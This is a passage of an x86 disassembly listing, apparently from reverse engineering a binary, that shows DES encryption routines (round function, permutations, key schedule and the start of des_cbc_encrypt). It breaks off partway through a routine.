0805cec6  bf 80 47 07 08              mov    $0x8074780,%edi    ;[in .rodata] 8520192 'x0 x2 x82 x0' ""
0805cecb  90                          nop
0805cecc  8b 55 f0                    mov    0xfffffff0(%ebp),%edx
0805cecf  8b 45 14                    mov    0x14(%ebp),%eax
0805ced2  8b 5d 0c                    mov    0xc(%ebp),%ebx
0805ced5  33 5c 90 04                 xor    0x4(%eax,%edx,4),%ebx
0805ced9  c1 c3 1c                    rol    $0x1c,%ebx
0805cedc  8b 75 0c                    mov    0xc(%ebp),%esi
0805cedf  33 34 90                    xor    (%eax,%edx,4),%esi
0805cee2  89 d8                       mov    %ebx,%eax
0805cee4  c1 e8 06                    shr    $0x6,%eax
0805cee7  25 fc 00 00 00              and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805ceec  89 d9                       mov    %ebx,%ecx
0805ceee  c1 eb 0e                    shr    $0xe,%ebx
0805cef1  8b 94 07 00 03 00 00        mov    0x300(%edi,%eax,1),%edx  ;768 'x0 x3 x0 x0' ""
0805cef8  83 e1 3f                    and    $0x3f,%ecx
0805cefb  89 d8                       mov    %ebx,%eax
0805cefd  0b 94 8f 00 01 00 00        or     0x100(%edi,%ecx,4),%edx  ;256 'x0 x1 x0 x0' ""
0805cf04  25 fc 00 00 00              and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cf09  c1 eb 08                    shr    $0x8,%ebx
0805cf0c  0b 94 07 00 05 00 00        or     0x500(%edi,%eax,1),%edx  ;1280 'x0 x5 x0 x0' ""
0805cf13  81 e3 fc 00 00 00           and    $0xfc,%ebx  ;252 'xfc x0 x0 x0' ""
0805cf19  89 f0                       mov    %esi,%eax
0805cf1b  0b 94 1f 00 07 00 00        or     0x700(%edi,%ebx,1),%edx  ;1792 'x0 x7 x0 x0' ""
0805cf22  83 e0 3f                    and    $0x3f,%eax
0805cf25  0b 14 87                    or     (%edi,%eax,4),%edx
0805cf28  89 f0                       mov    %esi,%eax
0805cf2a  c1 e8 06                    shr    $0x6,%eax
```

```
0805cf2d   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cf32   c1 ee 0e                shr    $0xe,%esi
0805cf35   0b 94 07 00 02 00 00    or     0x200(%edi,%eax,1),%edx  ;512 'x0 x2 x0 x0' ""
0805cf3c   89 f0                   mov    %esi,%eax
0805cf3e   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cf43   c1 ee 08                shr    $0x8,%esi
0805cf46   0b 94 07 00 04 00 00    or     0x400(%edi,%eax,1),%edx  ;1024 'x0 x4 x0 x0' ""
0805cf4d   81 e6 fc 00 00 00       and    $0xfc,%esi  ;252 'xfc x0 x0 x0' ""
0805cf53   0b 94 37 00 06 00 00    or     0x600(%edi,%esi,1),%edx  ;1536 'x0 x6 x0 x0' ""
0805cf5a   31 55 08                xor    %edx,0x8(%ebp)
0805cf5d   8b 45 14                mov    0x14(%ebp),%eax
0805cf60   8b 55 f0                mov    0xfffffff0(%ebp),%edx
0805cf63   8b 5d 08                mov    0x8(%ebp),%ebx
0805cf66   33 5c 90 0c             xor    0xc(%eax,%edx,4),%ebx
0805cf6a   c1 c3 1c                rol    $0x1c,%ebx
0805cf6d   8b 75 08                mov    0x8(%ebp),%esi
0805cf70   33 74 90 08             xor    0x8(%eax,%edx,4),%esi
0805cf74   89 d8                   mov    %ebx,%eax
0805cf76   c1 e8 06                shr    $0x6,%eax
0805cf79   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cf7e   89 d9                   mov    %ebx,%ecx
0805cf80   c1 eb 0e                shr    $0xe,%ebx
0805cf83   8b 94 07 00 03 00 00    mov    0x300(%edi,%eax,1),%edx  ;768 'x0 x3 x0 x0' ""
0805cf8a   83 e1 3f                and    $0x3f,%ecx
0805cf8d   89 d8                   mov    %ebx,%eax
0805cf8f   0b 94 8f 00 01 00 00    or     0x100(%edi,%ecx,4),%edx  ;256 'x0 x1 x0 x0' ""
0805cf96   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cf9b   c1 eb 08                shr    $0x8,%ebx
0805cf9e   0b 94 07 00 05 00 00    or     0x500(%edi,%eax,1),%edx  ;1280 'x0 x5 x0 x0' ""
0805cfa5   81 e3 fc 00 00 00       and    $0xfc,%ebx  ;252 'xfc x0 x0 x0' ""
0805cfab   89 f0                   mov    %esi,%eax
0805cfad   0b 94 1f 00 07 00 00    or     0x700(%edi,%ebx,1),%edx  ;1792 'x0 x7 x0 x0' ""
0805cfb4   83 e0 3f                and    $0x3f,%eax
0805cfb7   0b 14 87                or     (%edi,%eax,4),%edx
0805cfba   89 f0                   mov    %esi,%eax
0805cfbc   c1 e8 06                shr    $0x6,%eax
0805cfbf   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cfc4   c1 ee 0e                shr    $0xe,%esi
0805cfc7   0b 94 07 00 02 00 00    or     0x200(%edi,%eax,1),%edx  ;512 'x0 x2 x0 x0' ""
0805cfce   89 f0                   mov    %esi,%eax
0805cfd0   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805cfd5   c1 ee 08                shr    $0x8,%esi
0805cfd8   0b 94 07 00 04 00 00    or     0x400(%edi,%eax,1),%edx  ;1024 'x0 x4 x0 x0' ""
0805cfdf   81 e6 fc 00 00 00       and    $0xfc,%esi  ;252 'xfc x0 x0 x0' ""
0805cfe5   0b 94 37 00 06 00 00    or     0x600(%edi,%esi,1),%edx  ;1536 'x0 x6 x0 x0' ""
0805cfec   83 45 f0 04             addl   $0x4,0xfffffff0(%ebp)
0805cff0   31 55 0c                xor    %edx,0xc(%ebp)
0805cff3   83 7d f0 1f             cmpl   $0x1f,0xfffffff0(%ebp)
0805cff7   0f 8e cf fe ff ff       jle    0805cecc <Unknown0250+0xa8>  ;-305 'xcf xfe xff xff' ""
0805cffd   e9 4e 01 00 00          jmp    0805d150 <Unknown0250+0x32c>  ;334 'x4e x1 x0 x0' "N"
0805d002   89 f6                   mov    %esi,%esi
0805d004   83 c2 78                add    $0x78,%edx
0805d007   c7 45 f0 1e 00 00 00    movl   $0x1e,0xfffffff0(%ebp)  ;30 'x1e x0 x0 x0' ""
0805d00e   bf 80 47 07 08          mov    $0x8074780,%edi  ;[in .rodata] 8520192 'x0 x2 x82 x0' ""
0805d013   89 55 ec                mov    %edx,0xffffffec(%ebp)
0805d016   89 f6                   mov    %esi,%esi
0805d018   8b 55 f0                mov    0xfffffff0(%ebp),%edx
0805d01b   8b 45 14                mov    0x14(%ebp),%eax
0805d01e   8b 5d 0c                mov    0xc(%ebp),%ebx
0805d021   33 5c 90 04             xor    0x4(%eax,%edx,4),%ebx
0805d025   c1 c3 1c                rol    $0x1c,%ebx
0805d028   8b 75 0c                mov    0xc(%ebp),%esi
0805d02b   33 34 90                xor    (%eax,%edx,4),%esi
0805d02e   89 d8                   mov    %ebx,%eax
0805d030   c1 e8 06                shr    $0x6,%eax
0805d033   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805d038   89 d9                   mov    %ebx,%ecx
0805d03a   c1 eb 0e                shr    $0xe,%ebx
0805d03d   8b 94 07 00 03 00 00    mov    0x300(%edi,%eax,1),%edx  ;768 'x0 x3 x0 x0' ""
0805d044   83 e1 3f                and    $0x3f,%ecx
0805d047   89 d8                   mov    %ebx,%eax
0805d049   0b 94 8f 00 01 00 00    or     0x100(%edi,%ecx,4),%edx  ;256 'x0 x1 x0 x0' ""
0805d050   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805d055   c1 eb 08                shr    $0x8,%ebx
0805d058   0b 94 07 00 05 00 00    or     0x500(%edi,%eax,1),%edx  ;1280 'x0 x5 x0 x0' ""
0805d05f   81 e3 fc 00 00 00       and    $0xfc,%ebx  ;252 'xfc x0 x0 x0' ""
0805d065   89 f0                   mov    %esi,%eax
0805d067   0b 94 1f 00 07 00 00    or     0x700(%edi,%ebx,1),%edx  ;1792 'x0 x7 x0 x0' ""
0805d06e   83 e0 3f                and    $0x3f,%eax
0805d071   0b 14 87                or     (%edi,%eax,4),%edx
0805d074   89 f0                   mov    %esi,%eax
0805d076   c1 e8 06                shr    $0x6,%eax
0805d079   25 fc 00 00 00          and    $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805d07e   c1 ee 0e                shr    $0xe,%esi
```

```
0805d081   0b 94 07 00 02 00 00   or     0x200(%edi,%eax,1),%edx   ;512 'x0 x2 x0 x0' ""
0805d088   89 f0                  mov    %esi,%eax
0805d08a   25 fc 00 00 00         and    $0xfc,%eax   ;252 'xfc x0 x0 x0' ""
0805d08f   c1 ee 08               shr    $0x8,%esi
0805d092   0b 94 07 00 04 00 00   or     0x400(%edi,%eax,1),%edx   ;1024 'x0 x4 x0 x0' ""
0805d099   81 e6 fc 00 00 00      and    $0xfc,%esi   ;252 'xfc x0 x0 x0' ""
0805d09f   0b 94 37 00 06 00 00   or     0x600(%edi,%esi,1),%edx   ;1536 'x0 x6 x0 x0' ""
0805d0a6   31 55 08               xor    %edx,0x8(%ebp)
0805d0a9   8b 75 08               mov    0x8(%ebp),%esi
0805d0ac   8b 55 ec               mov    0xffffffec(%ebp),%edx
0805d0af   33 72 f8               xor    0xfffffff8(%edx),%esi
0805d0b2   8b 45 f0               mov    0xfffffff0(%ebp),%eax
0805d0b5   8b 55 14               mov    0x14(%ebp),%edx
0805d0b8   8b 5d 08               mov    0x8(%ebp),%ebx
0805d0bb   33 5c 82 fc            xor    0xfffffffc(%edx,%eax,4),%ebx
0805d0bf   c1 c3 1c               rol    $0x1c,%ebx
0805d0c2   89 d8                  mov    %ebx,%eax
0805d0c4   c1 e8 06               shr    $0x6,%eax
0805d0c7   25 fc 00 00 00         and    $0xfc,%eax   ;252 'xfc x0 x0 x0' ""
0805d0cc   89 d9                  mov    %ebx,%ecx
0805d0ce   c1 eb 0e               shr    $0xe,%ebx
0805d0d1   8b 94 07 00 03 00 00   mov    0x300(%edi,%eax,1),%edx   ;768 'x0 x3 x0 x0' ""
0805d0d8   83 e1 3f               and    $0x3f,%ecx
0805d0db   89 d8                  mov    %ebx,%eax
0805d0dd   0b 94 8f 00 01 00 00   or     0x100(%edi,%ecx,4),%edx   ;256 'x0 x1 x0 x0' ""
0805d0e4   25 fc 00 00 00         and    $0xfc,%eax   ;252 'xfc x0 x0 x0' ""
0805d0e9   c1 eb 08               shr    $0x8,%ebx
0805d0ec   0b 94 07 00 05 00 00   or     0x500(%edi,%eax,1),%edx   ;1280 'x0 x5 x0 x0' ""
0805d0f3   81 e3 fc 00 00 00      and    $0xfc,%ebx   ;252 'xfc x0 x0 x0' ""
0805d0f9   89 f0                  mov    %esi,%eax
0805d0fb   0b 94 1f 00 07 00 00   or     0x700(%edi,%ebx,1),%edx   ;1792 'x0 x7 x0 x0' ""
0805d102   83 e0 3f               and    $0x3f,%eax
0805d105   0b 14 87               or     (%edi,%eax,4),%edx
0805d108   89 f0                  mov    %esi,%eax
0805d10a   c1 e8 06               shr    $0x6,%eax
0805d10d   25 fc 00 00 00         and    $0xfc,%eax   ;252 'xfc x0 x0 x0' ""
0805d112   c1 ee 0e               shr    $0xe,%esi
0805d115   0b 94 07 00 02 00 00   or     0x200(%edi,%eax,1),%edx   ;512 'x0 x2 x0 x0' ""
0805d11c   89 f0                  mov    %esi,%eax
0805d11e   25 fc 00 00 00         and    $0xfc,%eax   ;252 'xfc x0 x0 x0' ""
0805d123   c1 ee 08               shr    $0x8,%esi
0805d126   0b 94 07 00 04 00 00   or     0x400(%edi,%eax,1),%edx   ;1024 'x0 x4 x0 x0' ""
0805d12d   81 e6 fc 00 00 00      and    $0xfc,%esi   ;252 'xfc x0 x0 x0' ""
0805d133   0b 94 37 00 06 00 00   or     0x600(%edi,%esi,1),%edx   ;1536 'x0 x6 x0 x0' ""
0805d13a   31 55 0c               xor    %edx,0xc(%ebp)
0805d13d   83 6d ec 10            subl   $0x10,0xffffffec(%ebp)
0805d141   83 6d f0 04            subl   $0x4,0xfffffff0(%ebp)
0805d145   8b 45 f0               mov    0xfffffff0(%ebp),%eax
0805d148   85 c0                  test   %eax,%eax
0805d14a   0f 8f c8 fe ff ff      jg     0805d018 <Unknown0250+0x1f4>   ;-312 'xc8 xfe xff xff' ""
0805d150   c1 45 0c 1f            roll   $0x1f,0xc(%ebp)
0805d154   8b 5d 0c               mov    0xc(%ebp),%ebx
0805d157   c1 45 08 1f            roll   $0x1f,0x8(%ebp)
0805d15b   d1 eb                  shr    %ebx
0805d15d   33 5d 08               xor    0x8(%ebp),%ebx
0805d160   81 e3 55 55 55 55      and    $0x55555555,%ebx   ;1431655765 'x55 x55 x55 x55' "UUUU"
0805d166   31 5d 08               xor    %ebx,0x8(%ebp)
0805d169   8d 04 1b               lea    (%ebx,%ebx,1),%eax
0805d16c   8b 5d 08               mov    0x8(%ebp),%ebx
0805d16f   31 45 0c               xor    %eax,0xc(%ebp)
0805d172   c1 eb 08               shr    $0x8,%ebx
0805d175   33 5d 0c               xor    0xc(%ebp),%ebx
0805d178   81 e3 ff 00 ff 00      and    $0xff00ff,%ebx   ;16711935 'xff x0 xff x0' ""
0805d17e   31 5d 0c               xor    %ebx,0xc(%ebp)
0805d181   c1 e3 08               shl    $0x8,%ebx
0805d184   31 5d 08               xor    %ebx,0x8(%ebp)
0805d187   8b 5d 0c               mov    0xc(%ebp),%ebx
0805d18a   c1 eb 02               shr    $0x2,%ebx
0805d18d   33 5d 08               xor    0x8(%ebp),%ebx
0805d190   81 e3 33 33 33 33      and    $0x33333333,%ebx   ;858993459 'x33 x33 x33 x33' "3333"
0805d196   31 5d 08               xor    %ebx,0x8(%ebp)
0805d199   8d 04 9d 00 00 00 00   lea    0x0(,%ebx,4),%eax   ;0 'x0 x0 x0 x0' ""
0805d1a0   31 45 0c               xor    %eax,0xc(%ebp)
0805d1a3   8b 45 08               mov    0x8(%ebp),%eax
0805d1a6   c1 e8 10               shr    $0x10,%eax
0805d1a9   33 45 0c               xor    0xc(%ebp),%eax
0805d1ac   0f b7 d8               movzwl %ax,%ebx
0805d1af   31 5d 0c               xor    %ebx,0xc(%ebp)
0805d1b2   c1 e3 10               shl    $0x10,%ebx
0805d1b5   31 5d 08               xor    %ebx,0x8(%ebp)
0805d1b8   8b 5d 0c               mov    0xc(%ebp),%ebx
0805d1bb   c1 eb 04               shr    $0x4,%ebx
0805d1be   33 5d 08               xor    0x8(%ebp),%ebx
0805d1c1   81 e3 0f 0f 0f 0f      and    $0xf0f0f0f,%ebx   ;252645135 'xf xf xf xf' ""
```

```
0805d1c7  89 d8             mov     %ebx,%eax
0805d1c9  c1 e0 04          shl     $0x4,%eax
0805d1cc  31 45 0c          xor     %eax,0xc(%ebp)
0805d1cf  33 5d 08          xor     0x8(%ebp),%ebx
0805d1d2  8b 45 10          mov     0x10(%ebp),%eax
0805d1d5  89 18             mov     %ebx,(%eax)
0805d1d7  8b 55 0c          mov     0xc(%ebp),%edx
0805d1da  89 50 04          mov     %edx,0x4(%eax)
0805d1dd  83 c4 08          add     $0x8,%esp
0805d1e0  5b                pop     %ebx
0805d1e1  5e                pop     %esi
0805d1e2  5f                pop     %edi
0805d1e3  5d                pop     %ebp
0805d1e4  c3                ret
0805d1e5  8d 76 00          lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 251 >--------------------<
  ;
0805d1e8 <Unknown0251>:
0805d1e8  55                push    %ebp
0805d1e9  89 e5             mov     %esp,%ebp
0805d1eb  57                push    %edi
0805d1ec  56                push    %esi
0805d1ed  53                push    %ebx
0805d1ee  83 ec 10          sub     $0x10,%esp
0805d1f1  8b 45 0c          mov     0xc(%ebp),%eax
0805d1f4  8b 55 08          mov     0x8(%ebp),%edx
0805d1f7  89 45 e4          mov     %eax,0xffffffe4(%ebp)
0805d1fa  0f b6 02          movzbl  (%edx),%eax
0805d1fd  89 45 f0          mov     %eax,0xfffffff0(%ebp)
0805d200  0f b6 42 01       movzbl  0x1(%edx),%eax
0805d204  c1 e0 08          shl     $0x8,%eax
0805d207  09 45 f0          or      %eax,0xfffffff0(%ebp)
0805d20a  0f b6 42 02       movzbl  0x2(%edx),%eax
0805d20e  c1 e0 10          shl     $0x10,%eax
0805d211  09 45 f0          or      %eax,0xfffffff0(%ebp)
0805d214  0f b6 42 03       movzbl  0x3(%edx),%eax
0805d218  c1 e0 18          shl     $0x18,%eax
0805d21b  09 45 f0          or      %eax,0xfffffff0(%ebp)
0805d21e  0f b6 42 05       movzbl  0x5(%edx),%eax
0805d222  0f b6 7a 04       movzbl  0x4(%edx),%edi
0805d226  c1 e0 08          shl     $0x8,%eax
0805d229  09 c7             or      %eax,%edi
0805d22b  0f b6 42 06       movzbl  0x6(%edx),%eax
0805d22f  c1 e0 10          shl     $0x10,%eax
0805d232  09 c7             or      %eax,%edi
0805d234  0f b6 42 07       movzbl  0x7(%edx),%eax
0805d238  c1 e0 18          shl     $0x18,%eax
0805d23b  09 c7             or      %eax,%edi
0805d23d  89 fe             mov     %edi,%esi
0805d23f  c1 ee 04          shr     $0x4,%esi
0805d242  33 75 f0          xor     0xfffffff0(%ebp),%esi
0805d245  81 e6 0f 0f 0f 0f and     $0xf0f0f0f,%esi  ;252645135 'xf xf xf xf' ""
0805d24b  31 75 f0          xor     %esi,0xfffffff0(%ebp)
0805d24e  c1 e6 04          shl     $0x4,%esi
0805d251  31 f7             xor     %esi,%edi
0805d253  8b 75 f0          mov     0xfffffff0(%ebp),%esi
0805d256  c1 e6 12          shl     $0x12,%esi
0805d259  33 75 f0          xor     0xfffffff0(%ebp),%esi
0805d25c  81 e6 00 00 cc cc and     $0xcccc0000,%esi  ;-859045888 'x0 x0 xcc xcc' ""
0805d262  31 75 f0          xor     %esi,0xfffffff0(%ebp)
0805d265  c1 ee 12          shr     $0x12,%esi
0805d268  31 75 f0          xor     %esi,0xfffffff0(%ebp)
0805d26b  89 fe             mov     %edi,%esi
0805d26d  c1 e6 12          shl     $0x12,%esi
0805d270  31 fe             xor     %edi,%esi
0805d272  81 e6 00 00 cc cc and     $0xcccc0000,%esi  ;-859045888 'x0 x0 xcc xcc' ""
0805d278  31 f7             xor     %esi,%edi
0805d27a  c1 ee 12          shr     $0x12,%esi
0805d27d  31 f7             xor     %esi,%edi
0805d27f  89 fe             mov     %edi,%esi
0805d281  d1 ee             shr     %esi
0805d283  33 75 f0          xor     0xfffffff0(%ebp),%esi
0805d286  81 e6 55 55 55 55 and     $0x55555555,%esi  ;1431655765 'x55 x55 x55 x55' "UUUU"
0805d28c  31 75 f0          xor     %esi,0xfffffff0(%ebp)
0805d28f  8d 04 36          lea     (%esi,%esi,1),%eax
0805d292  8b 75 f0          mov     0xfffffff0(%ebp),%esi
0805d295  31 c7             xor     %eax,%edi
0805d297  c1 ee 08          shr     $0x8,%esi
0805d29a  31 fe             xor     %edi,%esi
0805d29c  81 e6 ff 00 ff 00 and     $0xff00ff,%esi  ;16711935 'xff x0 xff x0' ""
0805d2a2  31 f7             xor     %esi,%edi
```

```
0805d2a4  c1 e6 08              shl     $0x8,%esi
0805d2a7  31 75 f0              xor     %esi,0xfffffff0(%ebp)
0805d2aa  89 fe                 mov     %edi,%esi
0805d2ac  d1 ee                 shr     %esi
0805d2ae  33 75 f0              xor     0xfffffff0(%ebp),%esi
0805d2b1  81 e6 55 55 55 55     and     $0x55555555,%esi   ;1431655765 'x55 x55 x55 x55' "UUUU"
0805d2b7  8d 04 36              lea     (%esi,%esi,1),%eax
0805d2ba  31 c7                 xor     %eax,%edi
0805d2bc  89 fa                 mov     %edi,%edx
0805d2be  89 f8                 mov     %edi,%eax
0805d2c0  81 e2 ff 00 00 00     and     $0xff,%edx   ;255 'xff x0 x0 x0' ""
0805d2c6  31 75 f0              xor     %esi,0xfffffff0(%ebp)
0805d2c9  25 00 ff 00 00       and     $0xff00,%eax   ;65280 'x0 xff x0 x0' ""
0805d2ce  c1 e2 10              shl     $0x10,%edx
0805d2d1  09 c2                 or      %eax,%edx
0805d2d3  c1 ef 10              shr     $0x10,%edi
0805d2d6  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0805d2d9  81 e7 ff 00 00 00     and     $0xff,%edi   ;255 'xff x0 x0 x0' ""
0805d2df  c1 e8 04              shr     $0x4,%eax
0805d2e2  09 d7                 or      %edx,%edi
0805d2e4  25 00 00 00 0f       and     $0xf000000,%eax   ;251658240 'x0 x0 x0 xf' ""
0805d2e9  09 c7                 or      %eax,%edi
0805d2eb  81 65 f0 ff ff ff 0f andl   $0xfffffff,0xfffffff0(%ebp)   ;268435455 'xff xff xff xf' ""
0805d2f2  c7 45 ec fc 7e 00 00 movl   $0x7efc,0xffffffec(%ebp)   ;32508 'xfc x7e x0 x0' ""
0805d2f9  c7 45 e8 0f 00 00 00 movl   $0xf,0xffffffe8(%ebp)
0805d300  f7 45 ec 01 00 00 00 testl  $0x1,0xffffffec(%ebp)   ;1 'x1 x0 x0 x0' ""
0805d307  74 17                 je      0805d320 <Unknown0252+0x11>
0805d309  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0805d30c  c1 e8 02              shr     $0x2,%eax


  ;
  ; >---------------------<  Subroutine # 252 >---------------------<
  ;
0805d30f <Unknown0252>:
0805d30f  c1 65 f0 1a          shll    $0x1a,0xfffffff0(%ebp)
0805d313  09 45 f0             or      %eax,0xfffffff0(%ebp)
0805d316  89 f8                mov     %edi,%eax
0805d318  c1 e8 02             shr     $0x2,%eax
0805d31b  c1 e7 1a             shl     $0x1a,%edi
0805d31e  eb 13                jmp     0805d333 <Unknown0252+0x24>
0805d320  8b 45 f0             mov     0xfffffff0(%ebp),%eax
0805d323  d1 e8                shr     %eax
0805d325  c1 65 f0 1b          shll    $0x1b,0xfffffff0(%ebp)
0805d329  09 45 f0             or      %eax,0xfffffff0(%ebp)
0805d32c  89 f8                mov     %edi,%eax
0805d32e  d1 e8                shr     %eax
0805d330  c1 e7 1b             shl     $0x1b,%edi
0805d333  09 c7                or      %eax,%edi
0805d335  81 65 f0 ff ff ff 0f andl   $0xfffffff,0xfffffff0(%ebp)   ;268435455 'xff xff xff xf' ""
0805d33c  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0805d33f  8b 45 f0             mov     0xfffffff0(%ebp),%eax
0805d342  c1 ea 06             shr     $0x6,%edx
0805d345  c1 e8 07             shr     $0x7,%eax
0805d348  83 e0 3c             and     $0x3c,%eax
0805d34b  83 e2 03             and     $0x3,%edx
0805d34e  09 c2                or      %eax,%edx
0805d350  8b 1c 95 80 40 07 08 mov    0x8074080(,%edx,4),%ebx   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d357  8b 45 f0             mov     0xfffffff0(%ebp),%eax
0805d35a  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0805d35d  8b 4d f0             mov     0xfffffff0(%ebp),%ecx
0805d360  c1 ea 0d             shr     $0xd,%edx
0805d363  c1 e8 0e             shr     $0xe,%eax
0805d366  83 e1 3f             and     $0x3f,%ecx
0805d369  83 e0 30             and     $0x30,%eax
0805d36c  83 e2 0f             and     $0xf,%edx
0805d36f  0b 1c 8d 80 3f 07 08 or     0x8073f80(,%ecx,4),%ebx   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d376  09 c2                or      %eax,%edx
0805d378  0b 1c 95 80 41 07 08 or     0x8074180(,%edx,4),%ebx   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d37f  8b 45 f0             mov     0xfffffff0(%ebp),%eax
0805d382  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0805d385  c1 ea 14             shr     $0x14,%edx
0805d388  c1 e8 15             shr     $0x15,%eax
0805d38b  83 e0 06             and     $0x6,%eax
0805d38e  83 e2 01             and     $0x1,%edx
0805d391  09 c2                or      %eax,%edx
0805d393  8b 45 f0             mov     0xfffffff0(%ebp),%eax
0805d396  c1 e8 16             shr     $0x16,%eax
0805d399  83 e0 38             and     $0x38,%eax
0805d39c  81 e7 ff ff ff 0f    and     $0xfffffff,%edi   ;268435455 'xff xff xff xf' ""
0805d3a2  09 c2                or      %eax,%edx
0805d3a4  0b 1c 95 80 42 07 08 or     0x8074280(,%edx,4),%ebx   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d3ab  89 f8                mov     %edi,%eax
0805d3ad  89 fa                mov     %edi,%edx
```

```
0805d3af  c1 ea 07              shr     $0x7,%edx
0805d3b2  c1 e8 08              shr     $0x8,%eax
0805d3b5  83 e0 3c              and     $0x3c,%eax
0805d3b8  83 e2 03              and     $0x3,%edx
0805d3bb  09 c2                 or      %eax,%edx
0805d3bd  89 f9                 mov     %edi,%ecx
0805d3bf  89 f8                 mov     %edi,%eax
0805d3c1  8b 34 95 80 44 07 08  mov     0x8074480(,%edx,4),%esi  ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d3c8  83 e1 3f              and     $0x3f,%ecx
0805d3cb  c1 e8 0d              shr     $0xd,%eax
0805d3ce  0b 34 8d 80 43 07 08  or      0x8074380(,%ecx,4),%esi  ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d3d5  25 fc 00 00 00        and     $0xfc,%eax  ;252 'xfc x0 x0 x0' ""
0805d3da  0b b0 80 45 07 08     or      0x8074580(%eax),%esi  ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d3e0  89 fa                 mov     %edi,%edx
0805d3e2  89 f8                 mov     %edi,%eax
0805d3e4  c1 ea 15              shr     $0x15,%edx
0805d3e7  c1 e8 16              shr     $0x16,%eax
0805d3ea  83 e0 30              and     $0x30,%eax
0805d3ed  83 e2 0f              and     $0xf,%edx
0805d3f0  09 c2                 or      %eax,%edx
0805d3f2  0b 34 95 80 46 07 08  or      0x8074680(,%edx,4),%esi  ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805d3f9  89 f0                 mov     %esi,%eax
0805d3fb  0f b7 d3              movzwl  %bx,%edx
0805d3fe  c1 e0 10              shl     $0x10,%eax
0805d401  c1 eb 10              shr     $0x10,%ebx
0805d404  81 e6 00 00 ff ff     and     $0xffff0000,%esi  ;-65536 'x0 x0 xff xff' ""
0805d40a  09 d0                 or      %edx,%eax
0805d40c  09 f3                 or      %esi,%ebx
0805d40e  8b 55 e4              mov     0xffffffe4(%ebp),%edx
0805d411  d1 6d ec              shrl    0xffffffec(%ebp)
0805d414  c1 c3 04              rol     $0x4,%ebx
0805d417  89 02                 mov     %eax,(%edx)
0805d419  83 c2 04              add     $0x4,%edx
0805d41c  89 1a                 mov     %ebx,(%edx)
0805d41e  83 c2 04              add     $0x4,%edx
0805d421  ff 4d e8              decl    0xffffffe8(%ebp)
0805d424  89 55 e4              mov     %edx,0xffffffe4(%ebp)
0805d427  0f 89 d3 fe ff ff     jns     0805d300 <Unknown0251+0x118>  ;-301 'xd3 xfe xff xff' ""
0805d42d  83 c4 10              add     $0x10,%esp
0805d430  5b                    pop     %ebx
0805d431  5e                    pop     %esi
0805d432  5f                    pop     %edi
0805d433  5d                    pop     %ebp
0805d434  c3                    ret
0805d435  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 253 >--------------------<
  ;
0805d438 <Unknown0253>:
0805d438  55                    push    %ebp
0805d439  89 e5                 mov     %esp,%ebp
0805d43b  57                    push    %edi
0805d43c  56                    push    %esi
0805d43d  53                    push    %ebx
0805d43e  83 ec 1c              sub     $0x1c,%esp
0805d441  f7 45 18 07 00 00 00  testl   $0x7,0x18(%ebp)  ;7 'x7 x0 x0 x0' ""
0805d448  8b 7d 14              mov     0x14(%ebp),%edi
0805d44b  74 1b                 je      0805d468 <Unknown0253+0x30>
0805d44d  68 80 4f 07 08        push    $0x8074f80  ;[in .rodata] 1601398116 'x64 x65 x73 x5f'
                                                    "des_cbc_encrypt"
0805d452  68 08 02 00 00        push    $0x208  ;520 'x8 x2 x0 x0' ""
0805d457  68 90 4f 07 08        push    $0x8074f90  ;[in .rodata] 779314532 'x64 x65 x73 x2e' "des.c"
0805d45c  68 96 4f 07 08        push    $0x8074f96  ;[in .rodata] 1852140584 'x28 x6c x65 x6e' "(len & 7)
                                                    == 0"
0805d461  e8 66 c9 fe ff        call    08049dcc <__assert_fail>
0805d466  89 f6                 mov     %esi,%esi
0805d468  8b 45 0c              mov     0xc(%ebp),%eax
0805d46b  0f b6 18              movzbl  (%eax),%ebx
0805d46e  0f b6 40 01           movzbl  0x1(%eax),%eax
0805d472  8b 55 0c              mov     0xc(%ebp),%edx
0805d475  c1 e0 08              shl     $0x8,%eax
0805d478  09 c3                 or      %eax,%ebx
0805d47a  0f b6 42 02           movzbl  0x2(%edx),%eax
0805d47e  c1 e0 10              shl     $0x10,%eax
0805d481  09 c3                 or      %eax,%ebx
0805d483  0f b6 42 03           movzbl  0x3(%edx),%eax
0805d487  c1 e0 18              shl     $0x18,%eax
0805d48a  09 c3                 or      %eax,%ebx
0805d48c  0f b6 42 05           movzbl  0x5(%edx),%eax
0805d490  c1 e0 08              shl     $0x8,%eax
0805d493  0f b6 4a 04           movzbl  0x4(%edx),%ecx
0805d497  09 c1                 or      %eax,%ecx
```

```
0805d499   0f b6 42 06           movzbl  0x6(%edx),%eax
0805d49d   c1 e0 10              shl     $0x10,%eax
0805d4a0   09 c1                 or      %eax,%ecx
0805d4a2   0f b6 42 07           movzbl  0x7(%edx),%eax
0805d4a6   c1 e0 18              shl     $0x18,%eax
0805d4a9   31 f6                 xor     %esi,%esi
0805d4ab   09 c1                 or      %eax,%ecx
0805d4ad   3b 75 18              cmp     0x18(%ebp),%esi
